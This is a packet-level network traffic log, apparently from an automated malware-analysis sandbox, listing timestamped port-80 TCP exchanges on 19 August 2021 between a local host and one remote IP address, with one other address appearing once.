Aug 19, 2021 07:53:40.301645041 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.301666975 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.301672935 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.301695108 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.301700115 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.301726103 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.301728964 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.301753044 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.301753998 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.301774979 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.301780939 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.301805019 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.301808119 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.301831961 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.301851034 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.301896095 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.301917076 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.301994085 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.302509069 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.302581072 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.302606106 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.302613020 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.302634954 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.302649021 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.302651882 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.302670002 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.302686930 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.302704096 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.302723885 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.302769899 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.302788019 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.302803040 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.302822113 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.302841902 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.302860022 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.302876949 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.302894115 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.302911997 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.302930117 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.302947044 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.302964926 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.302985907 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.303004980 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.303021908 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.303039074 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.303056955 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.303076029 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.303093910 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.303112030 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.303143978 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.303162098 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.303179979 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.303199053 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.303215981 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.303234100 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.303257942 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.303276062 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.303293943 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.303311110 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.303328991 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.303364038 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.303380966 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.303397894 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.303428888 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.303457022 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.303581953 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.303594112 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.303842068 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.321983099 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.322024107 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.322057009 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.322134972 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.322227955 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.332062006 CEST	80	49736	210.207.244.101	192.168.2.7
Aug 19, 2021 07:53:40.335134029 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.335180998 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.335216999 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.335246086 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.335268021 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.335273981 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.335304022 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.335331917 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.335357904 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.335360050 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.335386992 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.335416079 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.336141109 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.336184025 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.336213112 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.336241961 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.336258888 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.336270094 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.336298943 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.336323023 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.336325884 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.336355925 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.336358070 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.336384058 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.336393118 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.336412907 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.336416960 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.336441040 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.336442947 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.336479902 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.336493969 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.336843014 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.337929010 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.337934971 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.337968111 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.338006020 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.338030100 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.338037014 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.338069916 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.338076115 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.338103056 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.338115931 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.338134050 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.338160038 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.338165998 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.338191032 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.338208914 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.338222980 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.338239908 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.338243961 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.338270903 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.338274956 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.338308096 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.338311911 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.338340044 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.338347912 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.338372946 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.338388920 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.338428020 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.338428020 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.338459015 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.338474989 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.338491917 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.338500977 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.338524103 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.338541985 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.338558912 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.338571072 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.338592052 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.338606119 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.338624001 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.338632107 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.338654995 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.338666916 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.338686943 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.338695049 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.338715076 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.338747025 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.338749886 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.338778019 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.338813066 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.338829994 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.338851929 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.338860035 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.338881969 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.338896990 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.338912964 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.338983059 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.338998079 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.339015961 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.339046001 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.339071989 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.339076042 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.339106083 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.339128017 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.339150906 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.339152098 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.339179993 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.339200020 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.339206934 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.339221001 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.339235067 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.339253902 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.339262962 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.339277983 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.339289904 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.339312077 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.339318037 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.339337111 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.339344978 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.339361906 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.339374065 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.339387894 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.339401960 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.339415073 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.339427948 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.339438915 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.339456081 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.339466095 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.339484930 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.339499950 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.339514017 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.339524031 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.339540005 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.339567900 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.339571953 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.339590073 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.339611053 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.339612961 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.339641094 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.339643955 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.339669943 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.339684010 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.339696884 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.339709997 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.339724064 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.339749098 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.339751959 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.339775085 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.339780092 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.339799881 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.339807034 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.339834929 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.339858055 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.339859009 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.339885950 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.339905024 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.339917898 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.339942932 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.339950085 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.339975119 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.339994907 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.340008974 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.340019941 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.340039015 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.340061903 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.340070963 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.340095043 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.340101004 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.340122938 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.340131998 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.340161085 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.340168953 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.340189934 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.340199947 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.340212107 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.340230942 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.340244055 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.340279102 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.340284109 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.340327978 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.340353012 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.340375900 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.340389013 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.340416908 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.340420961 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.340452909 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.340456009 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.340481997 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.340483904 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.340507984 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.340527058 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.340547085 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.340558052 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.340568066 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.340585947 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.340598106 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.340612888 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.340627909 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.340641975 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.340656996 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.340668917 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.340689898 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.340697050 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.340717077 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.340724945 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.340748072 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.340796947 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.340802908 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.340812922 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.340848923 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.340876102 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.340904951 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.340931892 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.340945005 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.340960026 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.340987921 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.341015100 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.341042042 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.341069937 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.341070890 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.341099024 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.341114044 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.341126919 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.341128111 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.341155052 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.341155052 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.341185093 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.341193914 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.341211081 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.341238976 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.341239929 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.341269016 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.341275930 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.341296911 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.341300011 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.341325045 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.341325998 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.341352940 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.341358900 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.341381073 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.341381073 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.341408014 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.341409922 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.341433048 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.341438055 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.341459036 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.341465950 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.341486931 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.341514111 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.363464117 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.363532066 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.363563061 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.363593102 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.363625050 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.363635063 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.363655090 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.363682032 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.363684893 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.363706112 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.363753080 CEST	49738	80	192.168.2.7	193.142.59.119
Aug 19, 2021 07:53:40.363879919 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.363905907 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.363924026 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.363936901 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.363949060 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.363960981 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.363975048 CEST	80	49738	193.142.59.119	192.168.2.7
Aug 19, 2021 07:53:40.363986015 CEST	80	49738	193.142.59.119	192.168.2.7
